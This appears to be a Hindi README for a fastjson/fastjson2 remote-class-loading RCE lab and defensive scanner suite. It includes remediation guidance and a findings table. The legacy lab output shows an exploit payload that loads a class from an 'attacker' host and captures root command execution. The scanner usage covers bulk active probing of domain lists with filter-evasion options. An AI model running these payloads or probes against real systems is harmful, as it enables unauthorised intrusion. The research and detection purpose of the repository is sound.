
Docker labs + fastjson रिमोट-क्लास-लोड RCE के लिए डिफेंसिव स्कैनर। fastjson 1.2.66-1.2.83: @JSONType संसाधन प्रोब (CVE-2026-16723)। fastjson2 2.0.57: हमलावर @type, पॉलीमॉर्फिक प्रकारों (@JSONType(seeAlso) / Jackson @JsonSubTypes) के माध्यम से autoType DISABLED रहने पर loadClass तक पहुँचता है। केवल-मार्कर पेलोड; safeMode + JDK17 नियंत्रण।
@JSONType रिमोट-JAR/FD-चेन लैब और डिटेक्शनयह रिपॉजिटरी अब दो अलग-अलग Fastjson अनुसंधान ट्रैक संरक्षित करती है:
modern-fd/ अनुशंसित, मार्कर-ओन्ली पुनर्निर्माण है जो Spring Boot 3, सामान्य embedded Tomcat और JDK 17 पर Fastjson 1.2.83 सिंगल-बॉडी रिमोट-JAR/फ़ाइल-डिस्क्रिप्टर चेन का है। यह AutoType बंद के साथ लिटरल फिक्स्ड-DTO सिंक JSON.parseObject(body, BoundEnvelope.class) का उपयोग करता है।scanner/ में पैसिव रिक्वेस्ट/लॉग डिटेक्शन, स्टैटिक आर्टिफैक्ट इन्वेंट्री और एक नॉन-एक्ज़ीक्यूटिंग रीचैबिलिटी प्रोब शामिल है।बग:
ParserConfig.checkAutoTypeहर@typeवैल्यू को@JSONTypeएनोटेशन के लिएgetResourceAsStream(typeName.replace('.','/') + ".class")करके प्रोब करता है। आधुनिक Linux/JDK कॉम्बिनेशन पर, एक रिमोटjar:httpप्रोब JAR को एक खुले डिस्क्रिप्टर के पीछे कैश्ड छोड़ सकता है; बाद मेंjar:file:/proc/self/fd/Nप्रोब उसी बॉडी में इसे वैध क्लास नामों के तहत फिर से खोल सकते हैं और एक एनोटेटेड क्लास को इनिशियलाइज़ कर सकते हैं। सटीक 1.2.83 कंपोज़िशन AutoType डिसेबल्ड के साथ औरList<Object>युक्त एक फिक्स्ड DTO के माध्यम से काम करता है। इसलिए अकेले बाइंडिंग एक मिटिगेशन नहीं है। पूरा वॉक-थ्रू:docs/MECHANISM.md।
साथी संपूर्ण-प्रोजेक्ट समीक्षा में सभी 193 Fastjson 1.2.83 प्रोडक्शन Java फ़ाइलों में 2,041 कॉल करने योग्य/स्टैटिक-इनिशियलाइज़र पंक्तियाँ शामिल थीं। नीचे दी गई तालिका सबसे अधिक प्रभाव वाले परिणामों को प्राथमिकता देती है; यह दावा नहीं है कि हर Fastjson डिप्लॉयमेंट प्रभावित है। यह रिपॉजिटरी सीधे F105 को रिप्रोड्यूस करती है। शेष प्रविष्टियाँ अलग से सील की गई सोर्स समीक्षा और बाउंडेड लैब साक्ष्य का सारांश देती हैं।
वैलिडेशन लेबल, पूर्वापेक्षाएँ, निचले-स्तर के निष्कर्ष, रेमेडिएशन प्राथमिकताएँ और स्पष्ट नकारात्मक सीमाओं के लिए findings/FINDINGS.md देखें।
यह रिपॉजिटरी उन सिस्टमों के शिक्षा, डिफेंसिव रिसर्च और अधिकृत परीक्षण के लिए है जिनके आप मालिक हैं या जिनका परीक्षण करने की आपको स्पष्ट अनुमति है। आधुनिक लैब के आंतरिक नेटवर्क के लिए समर्थित होने पर, होस्ट प्रकाशन केवल 127.0.0.1 पर अनुरोधित है; इसकी स्क्रिप्ट परीक्षण को पूरी तरह से उस आइसोलेटेड नेटवर्क के भीतर चलाती हैं। आधुनिक लैब में कोई प्रोसेस-एक्ज़ीक्यूशन प्रिमिटिव नहीं है और यह केवल एक फिक्स्ड इन-JVM मार्कर सेट करती है।
लीगेसी JDK 8 लैब id चलाती है और उसका आउटपुट /tmp/PWNED में लिखती है; इसे आइसोलेटेड रखें। लीगेसी एक्सप्लॉइट या एक्टिव प्रोब को अनधिकृत सिस्टमों पर न लगाएँ।
scanner/ डायरेक्ट्री चार डिपेंडेंसी-फ्री Python 3 टूल्स के साथ आती है (कोई pip इंस्टॉल नहीं)।
fjdetect.py — रिमोट-JAR सीड्स और /proc/self/fd या /dev/fd सीक्वेंस के लिए डिकोडेड JSON रिक्वेस्ट बॉडीज़ या संरचित JSON लॉग्स का पैसिव रूप से निरीक्षण करें।fjscan_static.py — कमजोर कॉम्बिनेशन के लिए jars/wars/ears की इन्वेंट्री करें (कंटेंट-बैक्ड, मेटाडेटा-वेरिफाइड 1.2.83 × वास्तविक Spring Boot लोडर क्लास कंटेंट)। प्रोब-युक्त 1.2.48–1.2.82 रिलीज़ और केवल-मेटाडेटा/फ़ाइलनाम वाले उम्मीदवार समीक्षा के लिए अलग से रिपोर्ट किए जाते हैं। CI-गेट अनुकूल (EXPOSED पर एग्ज़िट 2)।fjscan_probe.py — एक्टिव, सुरक्षित रीचैबिलिटी जाँच: आपके नियंत्रण वाले कैनरी पर @type फायर करता है (बिल्ट-इन लिसनर या Burp Collaborator / interactsh) और रिसोर्स-फेच कॉलबैक को सहसंबंधित करता है। इसका बिल्ट-इन लिसनर एक खाली 404 लौटाता है; बाहरी लिसनर को समकक्ष रूप से कॉन्फ़िगर करें। एक कॉलबैक क्लास लोडिंग या RCE साबित नहीं करता है।fjpayload.py — मैनुअल परीक्षण के लिए रिमोट-रिसोर्स फेच बॉडीज़ उत्पन्न करें; जब एक्ज़ीक्यूशन इच्छित न हो तो केवल खाली/404 लिसनर का उपयोग करें।# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = प्रति पंक्ति एक टारगेट — एक पूर्ण [METHOD ]URL या एक सीधा डोमेन (--scheme / --target-port / --path के साथ विस्तारित); # टिप्पणियाँ अनुमत हैं:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (एक्टिव प्रोब)
fjscan_static.py (इन्वेंट्री): <paths…> · --threads N (डिफ़ॉल्ट 8) · --json (मशीन आउटपुट; यदि कोई EXPOSED हो तो एग्ज़िट कोड 2)।
fjpayload.py (जनरेटर): <collaborator> · --targets-file/-f <file\|-> (बल्क) · --port · --token · --wrap · --entry।
Collaborator नोट:
@JSONTypejar:सिंकtypeName.replace('.','/')करता है, इसलिए होस्ट में हर डॉट एक स्लैश बन जाता है — एक डॉटेड Burp Collaborator सबडोमेन (abc.oastify.com) इसके माध्यम से डिलीवर नहीं किया जा सकता (टूल्स एक इंटीजर IP + URL पाथ टोकन पर फॉल बैक करते हैं)। एक पब्लिक Collaborator में कॉलबैक पाने के लिए,--probe-type dnsका उपयोग करें:java.net.Inet4Addressप्रिमिटिव एक डॉटेड होस्ट स्वीकार करता है और एक DNS इंटरैक्शन फायर करता है (<tok>.<sub>.oastify.com), जोInet4Addressपार्स प्रिमिटिव + एग्रेस की पुष्टि करता है। यह पूर्वापेक्षा साक्ष्य है, रिमोट-JAR/FD टर्मिनल का प्रमाण नहीं। देखेंscanner/README.md।
आवश्यकताएँ: Docker + Docker Compose, और पहली बिल्ड पर Maven Central तक आउटबाउंड एक्सेस (fastjson / spring-boot-loader / asm लाने के लिए)।
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
पॉज़िटिव केस एक सामान्य एम्बेडेड-Tomcat रिक्वेस्ट थ्रेड को एक बॉडी भेजता है। इसका लिटरल सिंक final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class) है। सफलता केवल फिक्स्ड प्रॉपर्टी और लॉग टोकन FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1 है; रिस्पॉन्स अभी भी एक सामान्य रूप से बाउंड BoundEnvelope लौटाता है। एविडेंस डायरेक्ट्री में रिक्वेस्ट, रिस्पॉन्स, कंटेनर मेटाडेटा, लॉग्स और SHA-256 मैनिफेस्ट शामिल हैं।
कंट्रोल्स सामान्य JSON, बिना सीड के FD उम्मीदवार, असंभव डिस्क्रिप्टर के बाद एक सीड, और SafeMode को कवर करते हैं। देखें modern-fd/README.md।
FearsOff डिस्क्लोज़र JDK 21 पर वही रिटेन्ड-JAR टर्मिनल दिखाता है जिसमें एक प्रोसेस-पर्सिस्टेंट कैश और प्रति रिक्वेस्ट एक FD उम्मीदवार होता है। इस रिपॉजिटरी की आधुनिक लैब इसके बजाय एक सिंगल-बॉडी JDK 17 कंपोज़िशन रिप्रोड्यूस करती है: फेल्योर-सॉफ्ट सीड और बाउंडेड FD उम्मीदवार एक फिक्स्ड-DTO रिक्वेस्ट द्वारा ले जाए जाते हैं। JDK 21 बाहरी रूप से रिपोर्ट किया गया है; यह यहाँ उत्पादित रनटाइम परिणाम नहीं है।
मूल टॉप-लेवल Compose प्रोजेक्ट पुराने वन-स्टेज रूट को रिप्रोड्यूस करने के लिए उपलब्ध है। modern-fd/ के विपरीत, यह कमांड-सक्षम है और इसे केवल आइसोलेटेड लैब में चलाया जाना चाहिए:
make up
make exploit
make down
अपेक्षित make exploit आउटपुट:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
ClassCastException इस बात का संकेत है कि बाइंडिंग एक मिटिगेशन नहीं है: अटैकर क्लास अपना <clinit> @type प्रोब के दौरान चलाती है, इससे पहले कि fastjson इसे Dto में कास्ट करने का प्रयास करे।
target/Dockerfile को JDK 17 में बदलना इस लीगेसी क्राफ्टेड-नाम डेफिनिशन को ब्लॉक करता है और एक फेच छोड़ देता है। वह परिणाम modern-fd/ में अलग /proc/self/fd निरंतरता का परीक्षण या मिटिगेशन नहीं करता है।setAutoTypeSupport(true) नहीं कहता — http://127.0.0.1:8080/ पर बैनर जाँचें।PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker।सामान्य हैंडलर-फ्री पथ पर -Dfastjson.parser.safeMode=true सक्षम करें या जहाँ तत्काल माइग्रेशन संभव नहीं है वहाँ विक्रेता की com.alibaba:fastjson:1.2.83_noneautotype बिल्ड का उपयोग करें, और इंस्टॉल किए गए AutoTypeCheckHandlers का ऑडिट करें। JVM एग्रेस प्रतिबंधित करें; अविश्वसनीय पार्सिंग को Fastjson 1.x से दूर माइग्रेट करें; डिकोडेड @type रिमोट-JAR सीड्स और /proc/self/fd या /dev/fd उम्मीदवारों पर एक ही रिक्वेस्ट के भीतर और रिक्वेस्ट में सहसंबंधित दोनों तरह से अलर्ट करें। DTO बाइंडिंग और JDK 9+ आधुनिक कंपोज़िशन के लिए पूर्ण मिटिगेशन नहीं हैं।
fastjson2/ एक दूसरी, स्वतंत्र लैब है। fastjson2 में fastjson 1.x @JSONType रिसोर्स प्रोब नहीं है। हालाँकि, यह अटैकर-नियंत्रित @type को ClassLoader.loadClass() तक पहुँचने की अनुमति देता है autoType डिसेबल्ड के साथ, जब भी पार्स पथ में एक पॉलीमॉर्फिक प्रकार शामिल होता है — क्योंकि ObjectReaderSeeAlso का कंस्ट्रक्टर SupportAutoType को हार्डकोड करता है, और एक seeAlso मिस इससे पहले कि एसाइनेबिलिटी और DataSource/RowSet जाँचें चलें, पूर्ण autoType रिज़ॉल्यूशन में गिर जाता है।
ट्रिगर्स सामान्य मॉडलिंग एनोटेशन हैं — @JSONType(seeAlso=), Jackson @JsonSubTypes (सम्मानित किया जाता है क्योंकि useJacksonAnnotation डिफ़ॉल्ट रूप से true है), @JsonTypeInfo, सील्ड प्रकार। Spring Boot फैट jar के तहत कॉन्टेक्स्ट क्लासलोडर jar:http: नामों को रिज़ॉल्व करता है, इसलिए क्लास नेटवर्क से फेच की जाती है और उसका स्टैटिक इनिशियलाइज़र चलता है।
fastjson2 2.0.62 (नवीनतम रिलीज़) और 2.0.57 पर, JDK 8 पर रिप्रोड्यूस किया गया। safeMode=true इसे ब्लॉक करता है; JDK 17 इसे SSRF तक डाउनग्रेड करता है; autoTypeFilter(...) सुरक्षा नहीं करता। Chaitin (长亭) द्वारा डिस्क्लोज़ किया गया, ~2026-07-25 — यह इस रिपॉजिटरी का निष्कर्ष नहीं है। मेंटेनर के पास PR #7703 में खुला हार्डनिंग कार्य है (बंद #7695 को सुपरसीड करता हुआ) जो टाइप नामों में : और ! को अस्वीकार करता है; किसी भी रिलीज़्ड वर्ज़न में यह शामिल नहीं है — 2.0.62 दोनों से पहले है।
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd तंत्रों को डिस्क्लोज़ करता है जिन्हें यहाँ पुनर्निर्मित किया गया है।@JSONType / jar-URL-इंटरनल-नाम तकनीक: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC। attacker/Gen.java इस लैब के लिए उस तकनीक को फिर से लागू करता है।/proc/self/fd परिकल्पना प्रदान की। उन्हें स्वतंत्र रनटाइम प्रमाण के रूप में नहीं, बल्कि बाहरी रिपोर्ट के रूप में माना गया।modern-fd/ स्वतंत्र रूप से लिखी गई मार्कर-ओन्ली क्लासेस और एक सामान्य फिक्स्ड-DTO Tomcat एंडपॉइंट का उपयोग करता है।यह लैब और scanner/ टूलिंग उन निष्कर्षों को एक पुनरुत्पादनीय टेस्टबेड और डिफेंसिव जाँचों में पैकेज करते हैं। ऊपर के शोधकर्ताओं से संबद्ध नहीं और न ही उनके द्वारा समर्थित।
| प्राथमिकता | निष्कर्ष | सिद्ध परिणाम | महत्वपूर्ण सीमा |
|---|
| 1 | F105 — रिमोट @JSONType बाइटकोड एक्ज़ीक्यूशन | संगत Spring Boot लोडरों के माध्यम से अटैकर-सप्लाइड क्लास इनिशियलाइज़ेशन, जिसमें JDK 8 डायरेक्ट रूट और Linux/JDK 17 रिटेन्ड-JAR /proc/self/fd/N निरंतरता शामिल है | पार्सर-रीचेबल @type कैरियर, संगत Boot/TCCL लोडर, एग्रेस, SafeMode/IgnoreAutoType बंद, और एक सटीक अटैकर JAR की आवश्यकता है। आधुनिक फिक्स्ड-DTO रूट को अतिरिक्त रूप से एक जेनेरिक वैल्यू लेन (लैब List<Object> का उपयोग करती है), Linux procfs, एक रिटेन्ड डिस्क्रिप्टर और सटीक नाम संरेखण की आवश्यकता होती है; हर JDK, लोडर या OS पर सार्वभौमिक नहीं है |
| 2 | F1/F45 — TemplatesImpl कमांड एक्ज़ीक्यूशन | फिक्स्ड-DTO API के माध्यम से मार्कर कमांड एक्ज़ीक्यूशन, जिसमें एक अनदेखी बॉडी प्रॉपर्टी शामिल है | कमजोर सर्वर नीति की आवश्यकता है: क्लास एडमिशन, AutoType, और प्राइवेट-फील्ड पॉपुलेशन या समकक्ष पथ; डिफ़ॉल्ट सेटिंग्स इसे ब्लॉक करती हैं |
| 3 | F70/C016 — अनबाउंडेड बफरिंग और GZIP विस्तार | टाइप्ड byte/InputStream और एनोटेटेड DTO पथ बिना आउटपुट कैप के विस्तार या बफर करते हैं; कंस्ट्रेन्ड-हीप Java OOME रिप्रोड्यूस किया गया | एंडपॉइंट/स्कीमा और अटैकर-बाइट रीचैबिलिटी आवश्यक है; प्रोडक्शन-व्यापी आउटेज स्थापित नहीं किया गया |
| 4 | F18/C089 — पार्सर-थ्रेड स्टैक एक्सहॉशन | गहराई से नेस्टेड सामान्य ऑब्जेक्ट वैल्यू डिफ़ॉल्ट पार्सिंग के तहत StackOverflowError उत्पन्न कर सकती हैं | रिक्वेस्ट-थ्रेड उपलब्धता पर प्रभाव; अपरिवर्तनीय JVM या सर्विस-व्यापी क्रैश नहीं |
| 5 | F120/C162 — फिक्स्ड-स्कीमा HTTP SSRF/लोकल-रिसोर्स लोडिंग | बॉडी-नियंत्रित JEditorPane/JTextPane.page HTTP रिक्वेस्ट करता है और बाउंडेड file: सामग्री को Document स्थिति में लोड कर सकता है | एप्लिकेशन को Swing प्रकार घोषित करने की आवश्यकता है; कोई स्वचालित रिस्पॉन्स एक्सफिल्ट्रेशन या RCE सिद्ध नहीं हुआ |
| 6 | F118/C160 — हैश-कोलिज़न ऑथराइज़ेशन/डेटा-इंटेग्रिटी विफलता | एक विशिष्ट Unicode FNV-1a-64 कोलिज़न एक विशेषाधिकार प्राप्त enum कॉन्स्टेंट से बाइंड हो सकता है या JSONPath म्यूटेशन को गलत बीन सेटर की ओर मोड़ सकता है | एक उपयोग योग्य कोलिज़न और डाउनस्ट्रीम ट्रस्ट या एक एक्सपोज़्ड JSONPath म्यूटेशन ऑपरेशन की आवश्यकता है; कोई क्लास एडमिशन या RCE नहीं |
| 7 | F121/C163 — फिक्स्ड JdbcRowSet JNDI रीचैबिलिटी | सटीक सेटर क्रम ने एक बॉडी-सेलेक्टेड आउटबाउंड JNDI/LDAP कनेक्शन का कारण बना | साक्ष्य एक कनेक्शन पर रुक जाता है: कोई नेमिंग रिस्पॉन्स, ऑब्जेक्ट फैक्ट्री, बाइटकोड लोडिंग या RCE नहीं |
| 8 | F2/F45 — डिफ़ॉल्ट DNS रिज़ॉल्यूशन | अटैकर-नियंत्रित होस्टनाम रिज़ॉल्यूशन डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत और एक अनदेखी फिक्स्ड-DTO प्रॉपर्टी के माध्यम से काम करता है | केवल DNS/OOB इंटरैक्शन, जेनेरिक HTTP SSRF या RCE नहीं |
| फ़्लैग | डिफ़ॉल्ट | उद्देश्य |
|---|
--auto | off | सबसे सरल — प्रति टारगेट बेसलाइन + प्लेन + Unicode-एस्केप्ड तुलना DNS प्रोब भेजें, एक रोलअप प्रिंट करें; केवल --collaborator + --targets की आवश्यकता है |
--canary-ip <ip> | — | बिल्ट-इन लिसनर मोड; इस होस्ट का IP जैसा टारगेट देखते हैं |
--collaborator <v> | — | बाहरी OOB (IPv4 / int / डॉट-फ्री होस्ट / Collaborator सबडोमेन) |
--probe-type <t> | jsontype | मैनुअल मोड: jsontype = रिमोट-रिसोर्स फेच पथ (jar:http int-IP); dns = डॉटेड होस्ट के माध्यम से Inet4Address OOB (Collaborator-संगत); both |
--targets <file|-> | — | गैर-खाली टारगेट सूची; - stdin पढ़ता है (आवश्यक); खाली/केवल-टिप्पणी इनपुट नॉनज़ीरो एग्ज़िट करता है |
--threads N | 20 | समवर्ती रिक्वेस्ट वर्कर्स |
--header 'K: V' | — | अतिरिक्त रिक्वेस्ट हेडर (दोहराने योग्य); एक प्रतिनिधि फ्रंटएंड रिक्वेस्ट के लिए डिफ़ॉल्ट रूप से ब्राउज़र-जैसा --user-agent भेजा जाता है |
--baseline '{"a":1}' | — | प्रति टारगेट एक हानिरहित कंट्रोल बॉडी भी भेजें; एक बेसलाइन/प्रोब रिस्पॉन्स डिफरेंशियल कंटेंट-सेंसिटिव एज, मिडलवेयर या एप्लिकेशन हैंडलिंग के अनुरूप है और इसे पुष्टि की आवश्यकता है |
--max-redirects N | 3 | अधिकतम N एक्सैक्ट-ओरिजिन रीडायरेक्ट या मानक समान-होस्ट HTTP:80→HTTPS:443 अपग्रेड का अनुसरण करें (0 = कोई नहीं); HTTPS डाउनग्रेड, मनमाना पोर्ट/ओरिजिन परिवर्तन और क्रॉस-होस्ट रीडायरेक्ट ब्लॉक हैं; अपग्रेड केवल आधार गैर-गोपनीय हेडर बनाए रखते हैं |
--evasion {ukey,uval,both} | none | @type कुंजी / क्लास वैल्यू को \uXXXX-एस्केप करें (fastjson इसे अभी भी डिकोड करता है); एक इवेज़न-ओन्ली कॉलबैक डिकोडेड प्रोब डेटा के लिटरल-कीवर्ड फ़िल्टर से गुजरने के अनुरूप है, लेकिन फिर भी पार्सर/वर्ज़न पुष्टि की आवश्यकता होती है |
--scheme / --target-port / --path | http / — / /parse | सीधे डोमेन कैसे विस्तारित होते हैं |
--method | POST | डिफ़ॉल्ट HTTP विधि |
--wrap '{"u":{{P}}}' | {{P}} | प्रोब ऑब्जेक्ट को एक फ़ील्ड के अंदर नेस्ट करें |
--listen-port / --port | 19000 / 80 | बिल्ट-इन कैनरी पोर्ट / कोलैबोरेटर पोर्ट |
--wait / --timeout | 10 / 8 | कॉलबैक के लिए प्रतीक्षा सेकंड / प्रति-रिक्वेस्ट टाइमआउट |
| पथ | विवरण |
|---|
modern-fd/ | मार्कर-ओन्ली Boot 3/JDK 17 फिक्स्ड-DTO FD-चेन लैब और निर्णायक कंट्रोल्स |
scanner/ | पैसिव पेलोड/लॉग डिटेक्शन, स्टैटिक इन्वेंट्री और नॉन-एक्ज़ीक्यूटिंग रीचैबिलिटी टूल्स |
target/ | मैन्युअल रूप से चयनित Boot लोडर के तहत JSON.parseObject(body, Dto.class) का उपयोग करने वाला लीगेसी JDK 8 टारगेट |
attacker/ | लीगेसी कमांड-सक्षम JDK 8 क्लास जनरेटर और JAR सर्वर |
exploit/ | लीगेसी exploit.sh प्रूफ |
docs/MECHANISM.md | एनोटेटेड सोर्स वॉक-थ्रू |
findings/FINDINGS.md | प्राथमिकता-आधारित संपूर्ण-प्रोजेक्ट निष्कर्ष, पूर्वापेक्षाएँ और रेमेडिएशन सीमाएँ |
fastjson2/ लैब उस डिस्क्लोज़र का एक स्वतंत्र पुनरुत्पादन है, न कि इस रिपॉजिटरी का मूल निष्कर्ष। ट्रैकिंग थ्रेड: issue #7702 (एक उपयोगकर्ता, sevck द्वारा खोला गया); मेंटेनर हार्डनिंग PR #7703 / बंद #7695 में।safeMode, और CVE-2022-25845 के पीछे का autoType इतिहास)।